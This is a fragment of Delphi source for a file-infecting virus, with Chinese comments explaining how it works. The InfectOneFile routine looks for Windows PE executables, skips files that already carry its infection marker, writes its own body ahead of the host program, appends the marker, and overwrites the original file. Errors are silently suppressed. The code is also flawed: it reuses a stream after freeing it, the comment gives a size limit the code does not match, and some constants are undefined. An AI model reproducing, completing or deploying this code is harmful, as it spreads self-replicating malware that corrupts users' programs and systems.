procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
               dStartPos: Integer; Count: Integer);
var
   sCurPos, dCurPos: Integer;
begin
   sCurPos := Src.Position;
   dCurPos := Dst.Position;
   Src.Seek(sStartPos, 0);
   Dst.Seek(dStartPos, 0);
   Dst.CopyFrom(Src, Count);
   Src.Seek(sCurPos, 0);
   Dst.Seek(dCurPos, 0);
end;

procedure InfectOneFile(FileName: string);
var
   SelfStream, SrcStream: TFileStream; //两个文件流一个存放自己,一个存放宿主程序
   DstStream: TMemoryStream;//将自己和宿主程序合并后存入这个流
   iID: LongInt;//取得程序的最后4个字节的数据与感染标记比对
   Infected, IsPE: Boolean;//判断是否已被感染和是否为PE文件格式
   i: Integer;
   Buf: array[0..1] of Char;
   begin
    try
    Infected := False;
    IsPE      := False;
//创建宿主程序到SrcStream
    SrcStream := TFileStream.Create(FileName, fmOpenRead); 
    try
      for i := 0 to $108 do //检查PE文件头PE头偏移量一般小于$108(十六进制)
      begin
        SrcStream.Seek(i, soFromBeginning);//将流指向文件开始
        SrcStream.Read(Buf, 2);//每两个字节读取到buf
        //＃80＃69就是字母PE,PE头以PE字母开头
        if (Buf[0] = #80) and (Buf[1] = #69) then
        begin
         IsPE := True; //是PE文件
         Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //将流指向文件最后面的倒数第4个字节
      SrcStream.Read(iID, 4);//把这4个字节读出来判断是不是$44444444即感染标记
      if (iID = ID) or (SrcStream.Size > 1024000) then //大于10M的文件不感染
       Infected := True;
     finally
        SrcStream.Free;
     end;
     if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
       Exit;
     DstStream := TMemoryStream.Create;
     try
          //将本程序写入SelfStream流
          SelfStream := TFileStream.Create(ParamStr(0), fmOpenRead);
          try
           //写入本程序即病毒体到合并流
           CopyStream(SelfStream, 0, DstStream, 0, VSize);
           //再接着写入宿主程序
           CopyStream(SrcStream, 0, DstStream, VSize,
             SrcStream.Size);
           ////将流指向流的结尾
           DstStream.Seek(0, soFromEnd); 
           iID := $44444444;
           DstStream.Write(iID, 4);//写入4个字节的感染标记
           finally
               SelfStream.Free;
           end;
         finally
           SrcStream.Free;
           DstStream.SaveToFile(FileName); //替换宿主文件 ,保存文件
           DstStream.Free;
         end;
         except;
         end;
end;